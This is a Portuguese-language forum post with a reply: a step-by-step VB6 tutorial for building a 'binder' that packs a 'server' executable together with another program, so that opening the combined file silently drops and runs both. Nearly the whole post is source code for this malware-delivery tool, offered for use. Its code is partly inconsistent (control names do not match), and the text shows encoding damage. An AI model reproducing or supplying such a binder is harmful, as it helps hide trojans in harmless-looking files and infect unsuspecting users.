Tutorial Criando binder basico no vb6

[inocente]

[Tutorial] Criando um binder básico

Olí pessoal, nesse tutorial eu vou mostrar como criar um Binder simples em VB6.

1º Abra o Visual Basic, inicie um novo projeto Standard EXE
2º No form mude a fonte para verdana
3º Agora adicione em seu form: 1 Frame, 2 label's, 2 TextBoxe's, 4 botões e um CommonDialog (aperte Ctrl+T para adicionar o CommonDiaglo!)
4º Mude o Height dos botões command1 e command2 para "300" e os botões command3 e command4 para "355".



Agora vamos nomear os objetos do form...

Label1 = Arquivo (server):
Label2 = Arquivo executível:
Command1 = Add
Command2 = Add
Command3 = Juntar!
Command4 = Sair
No text1 e text2 apague o que esta escrito ! E no caption do form bote o nome do seu Binder. Aqui eu botei Tutorial Binder bísico (seusite.com.br) ;D
Agora vamos para a parte dos códigos

1º De um duplo clique no form (em qualquer lugar),Entre Private Sub Form_Initialize() e End Sub Digite o sequinte código:
Código:

Dim data0 As String
Dim data1 As String
Dim data2 As String
Open App.EXEName & ".exe" For Binary Shared As 1
data0 = Input(LOF(1), #1)
Close 1
If InStr(1, data0, "***1") = 0 Then Exit Sub
Open "ArquivoPrimario.exe" For Binary As 2
Open "ArquivoSecundario.exe" For Binary As 3
data1 = Mid(data0, InStr(1, data0, "***1") + 4)
data2 = Mid(data1, InStr(1, data1, "***2") + 4)
Put #3, , data2
data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)
Put #2, , data1
Close 2
Close 3
Shell "ArquivoPrimario.exe", vbNormalFocus
Shell "ArquivoSecundario.exe", vbNormalFocus
End

Onde esta escrito ArquivoPrimario sera o seu server, e onde esta escrito ArquivoSecundario sera o arquivo executível,
logo abaixo digite:
Código:Private Sub juntar()
Dim data As String
Dim data2 As String
Open arq1.Text For Binary Shared As 1
Open arq2.Text For Binary Shared As 2
data = Input(LOF(1), #1)
data2 = Input(LOF(2), #2)
Close 1
Close 2
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\ARQUIVO.EXE"
Open App.Path & "\ARQUIVO.EXE" For Binary As 1
Seek #1, LOF(1)
Put #1, , "***1"
Put #1, , data
Put #1, , "***2"
Put #1, , data2
Close 1
MsgBox "Arquivos agrupados em: ARQUIVO.EXE", vbInformation, "concluàdo"
End Sub

Onde esta escrito ARQUIVO.EXE é nome do arquivo que sera criado quando vc juntar o server com um outro executavel
Onde esta escrito Arquivos agrupados em: ARQUIVO.EXE é a mensagem que vai dar quando os 2 arquivos forem juntados e onde esta escrito concluàdo sera o tàtulo da mensagem

veja:



Agora de 2 cliques no command1 e digite o seguinte código;
Código:

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executíveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text1.Text = CommonDialog1.FileName No código acima eu ja configuro o CommonDialog para abrir arquivo executíveis e adicionar o acaminho no textbox. Clique 2 vezes agora no Command2 e digite o código:
Código:

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executíveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text2.Text = CommonDialog1.FileName

Aqui vale a mesma explicação que eu fiz acima.

Agora clique 2 vezes no command3. O Command3 sera o botão responsível pela função de juntar os 2 arquivos! Digite o seguinte código:
Código:

If Text1.Text = Empty Then
MsgBox "Selecione o arquivo (server)!", vbExclamation, "ERRO!"
Exit Sub
End If
If Text2.Text = Empty Then
MsgBox "Selecione um arquivo executível", vbExclamation, "ERRO!"
Exit Sub
End If
Call juntar 'Arqui executa a função de juntar os 2 arquivo!

--------------------------
END

Creditos : inocente

[Guiwar]

Depois vou testar aki Inocente!!!
Valeu pela contribuição!